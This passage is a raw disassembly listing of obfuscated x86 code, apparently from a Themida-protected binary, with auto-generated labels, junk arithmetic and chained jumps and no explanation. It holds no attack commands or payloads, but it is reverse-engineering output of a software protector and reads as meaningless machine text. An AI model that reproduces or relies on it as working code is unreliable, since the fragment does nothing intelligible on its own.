jmp loc_58A530 ; END OF FUNCTION CHUNK FOR sub_596CA1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58D35B: ; CODE XREF: sub_58C17E+8CE0j mov ebp, 0CD51514h xor ebp, 69537D08h dec ebp jmp loc_58D8D5 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5919E2 loc_58D36C: ; CODE XREF: sub_5919E2-63F0j ; sub_58EF52+172Bj mov ecx, esi pop esi shl ecx, 7 xor ecx, 625714FAh jg loc_58E794 xor ecx, 9FD30FFAh push edx push ecx pop edx mov eax, edx jmp loc_5946E3 ; END OF FUNCTION CHUNK FOR sub_5919E2 ; --------------------------------------------------------------------------- loc_58D38E: ; CODE XREF: Themida_:005946A4j ; Themida_:0059690Fj sub esi, 4E32513Dh sub esp, 4 mov [esp], edi mov edi, 249D7888h sub esi, edi jmp loc_592A6E ; --------------------------------------------------------------------------- loc_58D3A6: ; CODE XREF: Themida_:0059311Bj mov ax, [esp] push esi push esp pop esi sub esp, 4 jmp loc_597A93 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_58D3B5: ; CODE XREF: sub_590010-3AE2j mov edi, esp jmp loc_58E57F ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58D3BC: ; CODE XREF: sub_58F5B5+17FAj mov ebp, 78A8264Bh jmp loc_5975C4 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_58D3C6: ; CODE XREF: Themida_:00591F60j sub edx, eax sub edx, 672B404Bh push eax jmp loc_58F820 ; --------------------------------------------------------------------------- mov ax, [esp] push edx mov edx, esp push eax push esi mov esi, 3F1C7870h inc esi jno loc_5969B3 push esi not dword ptr [esp] jmp loc_58BA29 ; --------------------------------------------------------------------------- mov edi, [esp] mov bl, bh pop edi loc_58D3F8: ; CODE XREF: Themida_:0058B65Cj mov [esp], edx jmp loc_595C22 ; --------------------------------------------------------------------------- loc_58D400: ; CODE XREF: Themida_:00594ADFj ; Themida_:0059792Bj push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp mov [esp], edx push eax pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_58D413: ; CODE XREF: sub_5916C4:loc_593AB7j add esi, 0FD346D2Ah mov ebx, esi mov esi, [esp-4+arg_0] add esp, 4 shl ebx, 6 push ebx not [esp-4+arg_0] pop ebx shr ebx, 4 jmp loc_596ADF ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58D434: ; CODE XREF: sub_58F5B5-402Ej add esi, 4 jmp loc_59460E ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_58D43F: ; CODE XREF: Themida_:0058E97Bj mul cl movzx cx, ah push small 49BCh mov [esp], cx jmp loc_58FFC7 ; --------------------------------------------------------------------------- loc_58D452: ; CODE XREF: Themida_:0058C035j mov ecx, 1D293A80h add eax, ecx pop ecx add eax, 57355468h sub eax, esi sub eax, 57355468h sub eax, 1D293A80h mov esi, [esp] add esp, 4 sub eax, ebx push edi push 0FE67D2Dh mov edi, [esp] add esp, 4 jmp loc_597769 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_58D484: ; CODE XREF: sub_590010+3264j mov edi, esp add edi, 4 add edi, 4 jmp loc_59576A ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595123 loc_58D497: ; CODE XREF: sub_595123-2FE8j pop ecx or eax, eax jz loc_58B321 push dword ptr [edi+28h] push ebp mov ebp, 4FC95A1Eh push esi mov esi, 10A703A4h add [esp+0Ch+var_4], esi jmp loc_59350A ; END OF FUNCTION CHUNK FOR sub_595123 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59338C loc_58D4B8: ; CODE XREF: sub_59338C-57Ej mov ebx, [esp+4+var_4] add esp, 4 jmp loc_58DC97 ; END OF FUNCTION CHUNK FOR sub_59338C ; --------------------------------------------------------------------------- loc_58D4C3: ; CODE XREF: Themida_:0058ED7Fj push ecx mov ecx, 34A14552h or ecx, 7B375689h jmp loc_591067 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5919E2 loc_58D4D4: ; CODE XREF: sub_5919E2-7531j add ecx, edx add ecx, 4D811A70h mov dword ptr [ecx], 0D6F6CAAh sub esp, 4 jmp loc_594E8C ; END OF FUNCTION CHUNK FOR sub_5919E2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_58D4ED: ; CODE XREF: sub_590010-39FFj ; Themida_:0058F4FBj push 74C2h mov [esp+8+var_8], eax push 3BC5320Ch pop eax push ebp mov ebp, 77D1A17h not ebp inc ebp shl ebp, 5 add ebp, 1 xor ebp, 17031D2Ah and ebp, 565E5BEFh xor ebp, 236C402Bh xor eax, ebp jmp loc_592661 ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595655 loc_58D526: ; CODE XREF: sub_595655-5CEAj pop ebx inc ebx push ebp jmp loc_592607 ; END OF FUNCTION CHUNK FOR sub_595655 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5921D8 loc_58D52E: ; CODE XREF: sub_5921D8+Aj mov bl, 41h mov al, 24h add al, 9Bh add al, bl sub al, 9Bh pop ebx sub al, 38h jz loc_593152 jmp loc_58D770 ; END OF FUNCTION CHUNK FOR sub_5921D8 ; --------------------------------------------------------------------------- mov cx, [esp] push 7A8Bh mov [esp], eax jmp loc_58CF48 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_58D557: ; CODE XREF: sub_5916C4+267Bj mov dh, 50h push ebx push edx push cx push ebx mov bl, 30h add bl, 0EDh jl loc_58A9F3 add bl, 76h shr bl, 5 jns loc_58DD51 shl bl, 1 jns loc_58FD5F jmp loc_591516 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_58D582: ; CODE XREF: Themida_:0058C7B0j mov edx, 71364793h shr edx, 2 sub esp, 4 mov [esp], esi mov esi, 1C4D91E0h xor edx, esi pop esi add esi, edx pop edx add esi, 4 xchg esi, [esp] mov esp, [esp] and [esp], eax pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_58D5B0: ; CODE XREF: sub_5938B9-3088j pop ebx push ecx mov ecx, 66FE2553h sub edi, ecx jmp loc_597FA4 ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- loc_58D5BE: ; CODE XREF: Themida_:00590462j mov edx, 4 add esi, edx mov edx, [esp] jmp loc_58DDAB ; --------------------------------------------------------------------------- loc_58D5CD: ; CODE XREF: Themida_:0059653Aj push ecx push edx mov edx, 5379141Fh push edx jmp loc_58B111 ; --------------------------------------------------------------------------- loc_58D5DA: ; CODE XREF: Themida_:0058C57Fj mov ecx, esp jmp loc_58C0E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58D5E1: ; CODE XREF: sub_58C17E+3450j mov ebp, 2C425684h add ebx, ebp pop ebp jmp loc_5947F8 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_58D5EE: ; CODE XREF: sub_590467-1FE5j sub bh, 6Bh add bh, ch jmp loc_596425 ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594654 loc_58D5F8: ; CODE XREF: sub_594654-11CAj mov [esp+0Ch+var_C], ecx mov ecx, 46870560h xor ecx, 16606035h neg ecx shl ecx, 1 shl ecx, 7 jmp loc_591FF5 ; END OF FUNCTION CHUNK FOR sub_594654 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58D612: ; CODE XREF: sub_58F5B5+8719j shl esi, 2 jnp loc_58FB23 sub esi, 32A79037h mov eax, esi pop esi dec eax jl loc_58DBDF jmp loc_594A3E ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_58D630: ; CODE XREF: Themida_:00592210j ; Themida_:0059586Ej add eax, edi jmp loc_595529 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] jmp loc_58E2E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58D642: ; CODE XREF: sub_58F5B5+1C5Bj add ah, 3Bh or cl, ah mov eax, [esp-4+arg_0] add esp, 4 add cl, 37h sub bl, cl jmp loc_593765 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_58D65A: ; CODE XREF: Themida_:00593E54j pop ebp push ebp jmp loc_58C596 ; --------------------------------------------------------------------------- loc_58D661: ; CODE XREF: Themida_:005979D7j shl eax, 3 push edi push esi push 1AA654C2h jmp loc_5911F6 ; --------------------------------------------------------------------------- loc_58D670: ; CODE XREF: Themida_:00593F68j add edx, 56592BF6h xor ebp, edx pop edx sub ebx, 4B52234h sub ebx, ebp jmp loc_59608D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58D686: ; CODE XREF: sub_58C17E+4237j mov esi, 24102F2Fh neg esi xor esi, 40C25178h or esi, 2D1215A0h jno loc_5909F0 shl esi, 5 jmp loc_58E495 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- dec ebp and bl, 8Fh push dword ptr [esp] push dword ptr [esp] pop eax sub esp, 4 mov [esp], ecx push 7E31h mov [esp], esp jmp loc_592194 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58D6C5: ; CODE XREF: sub_58F5B5:loc_597CF6j xor ebp, 347A4849h jno loc_593C0E sub ebp, 4291057Dh mov bh, bh or al, 0AAh loc_58D6DB: ; CODE XREF: Themida_:0059558Bj add [esp-8+arg_8], ebp push [esp-8+arg_4] pop ebp jmp sub_58E980 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5919E2 loc_58D6E8: ; CODE XREF: sub_5919E2+478Cj add esp, 4 pop ecx loc_58D6EF: ; CODE XREF: sub_58F5B5-527Bj push 6413h mov [esp+0], ecx push eax mov eax, 14105794h inc eax shr eax, 1 not eax push ebp jmp loc_5973F1 ; END OF FUNCTION CHUNK FOR sub_5919E2 ; --------------------------------------------------------------------------- mov cx, [esp] push esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop esi add esi, 4 push 7E53h mov [esp], ebx mov ebx, 39AC15F7h shr ebx, 3 shl ebx, 2 jmp loc_591EBF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58B4D6 loc_58D739: ; CODE XREF: sub_58B4D6-FDj xor eax, 21421DB3h add [esp+0Ch+var_8], eax mov eax, [esp+0Ch+var_C] add esp, 4 mov eax, [esp+8+var_8] add esp, 4 add eax, 4 push edx mov edx, 2 add eax, 2A2A0168h sub eax, edx sub eax, 2A2A0168h mov edx, [esp+8+var_8] jmp loc_58F293 ; END OF FUNCTION CHUNK FOR sub_58B4D6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58D770: ; CODE XREF: sub_58C17E+A42j ; sub_5921D8-4C97j not al jmp loc_58B4BB ; --------------------------------------------------------------------------- loc_58D777: ; CODE XREF: sub_58C17E+A5B4j add ebp, esi push eax mov eax, 4C593841h neg eax dec eax inc eax jmp loc_59674C ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_58D788: ; CODE XREF: Themida_:0058F94Fj add eax, 2 xchg eax, [esp] mov esp, [esp] mov cx, [esp] push 3251h mov [esp], ebx mov ebx, esp push eax mov eax, 1A747F12h add eax, 56A51816h or eax, 75603220h push ebp mov ebp, 2633313Bh push edx mov edx, 74B55F0h sub edx, 0E1FD49C1h and ebp, edx jmp loc_5973C6 ; --------------------------------------------------------------------------- loc_58D7C8: ; CODE XREF: Themida_:0058FC02j sub edi, 320C48E6h neg edi neg edi neg edi add edi, 0D31D238Dh mov edx, edi jmp loc_58ECB6 ; --------------------------------------------------------------------------- loc_58D7E1: ; CODE XREF: Themida_:0058B827j add dword ptr [esp+4], 6DEE53C8h pop ebx jmp loc_58EF89 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_58D7EF: ; CODE XREF: sub_590467-441Cj add dl, 93h and al, dl pop edx sub al, 0Fh add bl, 0C9h add bl, al sub bl, 0C9h jmp loc_5914E9 ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- loc_58D804: ; CODE XREF: Themida_:00590CD4j add ecx, 4 push 7E8Ah mov [esp], ebp push esi jmp loc_592D08 ; --------------------------------------------------------------------------- neg word ptr [esp] pushf jmp loc_58E495 ; --------------------------------------------------------------------------- loc_58D822: ; CODE XREF: Themida_:0058C45Fj add ecx, 2 xchg ecx, [esp] mov esp, [esp] ror word ptr [esp], cl pushf jmp loc_58EFC5 ; --------------------------------------------------------------------------- loc_58D835: ; CODE XREF: Themida_:00591B8Aj pop edi xor [esp+4], ebx pop ebx mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], ebp jmp loc_5941B1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_58D852: ; CODE XREF: sub_590467+1C25j ; sub_5916CB+48C2j mov edi, 4C76708Ah jmp sub_5942E3 ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_58D85C: ; CODE XREF: sub_5EC2E8-5E6A4j shl ah, 2 or ah, 0FEh inc ah jmp loc_58A58E ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58D869: ; CODE XREF: sub_58C17E+97B1j add ecx, 0F38ABCCFh add ebp, 24C13372h jmp loc_593157 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_58D87A: ; CODE XREF: Themida_:0058FBB5j xchg ecx, [esp] pop esp jmp loc_596857 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_58D883: ; CODE XREF: sub_590467+7950j or edi, 6FA162E0h sub edi, 0D04526Dh jmp loc_59405C ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_58D894: ; CODE XREF: sub_5938B9-34F7j mov ebx, 60550EF9h jmp loc_58B549 ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- loc_58D89E: ; CODE XREF: Themida_:0058FC3Fj mov ebp, esp jmp loc_595DBE ; --------------------------------------------------------------------------- loc_58D8A5: ; CODE XREF: Themida_:00593257j xor edx, eax pop eax add ebx, edx pop edx xchg ebx, [esp] pop esp add esp, 4 jmp loc_5920E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_58D8B7: ; CODE XREF: sub_59762D-CA05j ; Themida_:00595FD5j sub bl, 0D5h push cx mov cl, 6Ch jmp loc_58F6B1 ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- loc_58D8C3: ; CODE XREF: Themida_:00594DDBj mov edi, eax pop eax push edi xchg ebx, [esp] not ebx xchg ebx, [esp] pop edi jmp loc_59429B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58D8D5: ; CODE XREF: sub_58C17E+11E9j sub ebp, 2B8E2343h not ebp push eax push edi mov edi, 5196398Ch jmp loc_593663 ; --------------------------------------------------------------------------- loc_58D8E9: ; CODE XREF: sub_58C17E+8BE8j pop esp test cl, al pushf jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_58D8F2: ; CODE XREF: Themida_:0058AE44j push 3DDAh jmp loc_594794 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_58D8FC: ; CODE XREF: sub_5EC2E8-5F215j add esp, 4 push [esp+1Ch+var_1C] pop eax sub esp, 4 mov [esp+20h+var_20], ebx mov ebx, esp push edx mov edx, 8A95E47h jmp loc_58E4EB ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_58D919: ; CODE XREF: sub_5916C4-6CC3j ; sub_5916C4-66E7j sub bl, 7Eh add bl, 75h sub bl, 0F9h add al, bl pop ebx pop ebx jmp loc_58CA87 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58D92B: ; CODE XREF: sub_58C17E+806Aj pop edx jmp loc_58C336 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595123 loc_58D931: ; CODE XREF: sub_595123+3Fj push [esp+0Ch+var_C] jmp loc_5944BC ; END OF FUNCTION CHUNK FOR sub_595123 ; --------------------------------------------------------------------------- loc_58D939: ; CODE XREF: Themida_:00590949j ; Themida_:005968CFj mov ebp, 581A0570h shl ebp, 5 jmp loc_590BFE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590B70 loc_58D946: ; CODE XREF: sub_590B70-5A21j shl eax, 3 jmp loc_59238D ; END OF FUNCTION CHUNK FOR sub_590B70 ; --------------------------------------------------------------------------- loc_58D94E: ; CODE XREF: Themida_:00593450j shr edx, 2 and edx, 6E0275E6h jle loc_59368D push esi mov esi, 103853A5h neg esi xor esi, 3FA426FFh sub esi, 4A13137Ch jmp loc_593064 ; --------------------------------------------------------------------------- loc_58D976: ; CODE XREF: Themida_:0058A979j add ecx, 0B1921A9Eh add edi, ecx pop ecx jmp loc_590CAB ; --------------------------------------------------------------------------- loc_58D984: ; CODE XREF: Themida_:0059263Aj mov edx, ebx pop ebx add eax, edx jmp loc_590631 ; --------------------------------------------------------------------------- loc_58D98E: ; CODE XREF: Themida_:00596900j shr ebx, 5 jmp loc_595E67 ; --------------------------------------------------------------------------- loc_58D996: ; CODE XREF: Themida_:005963F9j push edx jmp loc_5929FC ; =============== S U B R O U T I N E ======================================= sub_58D99C proc near ; CODE XREF: sub_58C17E+38C2j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0058C050 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058C064 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058C2DF SIZE 00000041 BYTES ; FUNCTION CHUNK AT 0058C3BC SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0058DCC8 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058EB80 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00591149 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005915DB SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00591703 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005926D2 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00592834 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00594200 SIZE 0000001F BYTES push ebp push 27302C7Ah pop ebp jmp loc_58DCC8 sub_58D99C endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_58D9A8: ; CODE XREF: Themida_:0059168Aj sub ebp, 56774CF8h add ebp, ebx jmp loc_592F9B ; --------------------------------------------------------------------------- loc_58D9B5: ; CODE XREF: Themida_:005947D7j push esp pop edx add edx, 4 push ebx push 4 jmp loc_58DA9F ; --------------------------------------------------------------------------- loc_58D9C8: ; CODE XREF: Themida_:0058C4F3j sub ebp, 2 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], dx jmp loc_595746 ; --------------------------------------------------------------------------- loc_58D9E0: ; CODE XREF: Themida_:0058FBAAj push esi mov esi, 2C422628h mov edx, 87E46Dh jmp loc_595B14 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595123 loc_58D9F0: ; CODE XREF: sub_595123-39AEj xor edx, ebp mov ebp, [esp+10h+var_10] push eax mov eax, esp add eax, 4 jmp loc_591613 ; END OF FUNCTION CHUNK FOR sub_595123 ; --------------------------------------------------------------------------- loc_58DA02: ; CODE XREF: Themida_:00590AD4j mov [esp], edx mov edx, 38A57BF4h xor edx, 350446F3h push edx not dword ptr [esp] jmp loc_58E2DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F013 loc_58DA19: ; CODE XREF: sub_58F013-24B6j pop [esp+4+var_4] pop esp mov word ptr [esp-4+arg_0], cx movzx cx, al push cx pushf jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_58F013 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58DA2D: ; CODE XREF: sub_58C17E+A5D6j sub eax, 0C3F6E80Eh add ebp, eax pop eax pop esi jmp loc_596786 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_58DA3B: ; CODE XREF: sub_590467+6845j add esp, 4 shr bh, 3 jmp loc_58B37B ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- lodsd push ebp mov ebp, esp add ebp, 4 sub esp, 4 mov [esp], edx jmp loc_591FE8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_58DA5E: ; CODE XREF: sub_5EC2E8-550B3j shr esi, 5 sub esi, 376B4C87h shl esi, 7 shl esi, 1 jmp sub_597716 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- loc_58DA71: ; CODE XREF: Themida_:00595852j add ebx, 0C94A314Bh mov edx, ebx pop ebx or edx, 7F884BFFh shl edx, 4 shr edx, 1 xor edx, 5C1D6C58h jmp loc_592AE5 ; --------------------------------------------------------------------------- loc_58DA90: ; CODE XREF: Themida_:0058B227j sar byte ptr [esp], cl pushf jmp loc_590A2F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_58DA99: ; CODE XREF: Themida_:0058BB7Dj ; sub_5916C4+633j pop edi jmp loc_59547B ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_58DA9F: ; CODE XREF: sub_5EC2E8:loc_58B72Cj ; Themida_:0058D9C3j pop ebx add edx, ebx pop ebx xor edx, [esp+1Ch+var_1C] xor [esp+1Ch+var_1C], edx xor edx, [esp+1Ch+var_1C] pop esp push 17FBh mov [esp+1Ch+var_1C], ecx push esi mov esi, 23522C9Dh xchg ebp, esi xchg esi, ebp push esi not [esp+24h+var_24] jmp loc_58BF3F ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58DBC4 loc_58DAC8: ; CODE XREF: sub_58DBC4+29C9j pop eax mov ebp, [esp-8+arg_0] add esp, 4 push edx sub esp, 4 mov [esp+0], esp add dword ptr [esp+0], 4 pop edx add edx, 4 sub edx, 4 xchg edx, [esp-8+arg_0] pop esp mov [esp-0Ch+arg_4], ebp push esi mov esi, 100h mov ebp, esi push [esp-8+arg_0] pop esi sub esp, 4 mov [esp+0], ebx push esp pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp+0] jmp loc_594127 ; END OF FUNCTION CHUNK FOR sub_58DBC4 ; --------------------------------------------------------------------------- loc_58DB19: ; CODE XREF: Themida_:0058B63Dj not ch push eax mov ah, 9Dh add ah, 0C6h jmp loc_58CF73 ; --------------------------------------------------------------------------- loc_58DB26: ; CODE XREF: Themida_:00591DC1j xor ecx, 1FA82FFAh add ecx, 1 xor ecx, 5A396A6Ah mov ebx, ecx mov ecx, [esp] add esp, 4 jmp loc_5957E3 ; --------------------------------------------------------------------------- loc_58DB45: ; CODE XREF: Themida_:00594517j mov ecx, [esp] jmp loc_597C37 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58DB4D: ; CODE XREF: sub_58F5B5-190j ; sub_592D25-2EB9j add esi, 78317A10h xchg ebp, esi not ebp xchg ebp, esi jmp sub_590467 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_58DB5E: ; CODE XREF: Themida_:00590ED8j push ebp jmp loc_5948DF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58DB64: ; CODE XREF: sub_58C17E+2398j or ch, 9Dh jmp loc_58BD94 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5919E2 loc_58DB6C: ; CODE XREF: sub_5919E2-E49j xchg edi, [esp+0] pop esp jmp loc_58D05B ; END OF FUNCTION CHUNK FOR sub_5919E2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595E21 loc_58DB75: ; CODE XREF: sub_595E21:loc_58F831j or edx, 62D86549h push edi jmp loc_596124 ; END OF FUNCTION CHUNK FOR sub_595E21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591059 loc_58DB81: ; CODE XREF: sub_591059-5E9Fj push dword ptr [esp+0] jmp loc_590D7F ; END OF FUNCTION CHUNK FOR sub_591059 ; --------------------------------------------------------------------------- loc_58DB89: ; CODE XREF: Themida_:0058E5C1j jmp loc_5958DF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_58DB8E: ; CODE XREF: Themida_:0058CE2Ej ; sub_59762D+1FCj mov esi, 4 push ebp mov ebp, 58ED49F9h inc ebp inc ebp add ebp, 15501BE4h jmp loc_5954FD ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58DBA6: ; CODE XREF: sub_58F5B5+41B3j add esp, 4 add bl, 69h movzx eax, al push dword ptr [edi+eax*4] push [esp-8+arg_4] pop eax push ecx mov ecx, esp add ecx, 4 jmp loc_58D0E0 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_58DBC4 proc near ; CODE XREF: sub_58F091-2422j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 0058C119 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0058C97F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058DAC8 SIZE 00000051 BYTES ; FUNCTION CHUNK AT 00590560 SIZE 00000032 BYTES ; FUNCTION CHUNK AT 00591800 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00592E29 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00594127 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00594466 SIZE 00000007 BYTES push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+0] pop esp shr ecx, 0 jmp loc_591800 sub_58DBC4 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58DBDF: ; CODE XREF: sub_58F5B5-1F90j jmp loc_58C5E0 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_58DBE4: ; CODE XREF: Themida_:00597A2Ej mov ecx, esp add ecx, 4 sub ecx, 2 xchg ecx, [esp] pop esp mov [esp], cx mov cx, 718Dh xor di, cx mov cx, [esp] push edx mov edx, esp add edx, 4 add edx, 2 jmp loc_59801F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58D0EB loc_58DC19: ; CODE XREF: sub_58D0EB+1j mov ebx, esp add ebx, 4 add ebx, 4 jmp sub_58F277 ; END OF FUNCTION CHUNK FOR sub_58D0EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_58DC29: ; CODE XREF: sub_590010-382j mov edx, 0F94A89D4h add edx, edi pop edi jmp loc_590D93 ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_58DC36: ; CODE XREF: sub_5EC2E8-569F6j add cl, 6Eh xor dh, cl pop ecx mov ah, dh pop edx dec ah or ah, 0DAh jmp loc_58D85C ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- loc_58DC49: ; CODE XREF: Themida_:00590990j mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] add al, dh mov dx, [esp] add esp, 2 xor bl, al movzx eax, al push dword ptr [edi+eax*4] sub dword ptr [esp], 44405C3Fh push dword ptr [esp] jmp loc_58EE4C ; --------------------------------------------------------------------------- loc_58DC7A: ; CODE XREF: Themida_:0058E393j inc edi jz loc_597887 push ebx jmp sub_5951B9 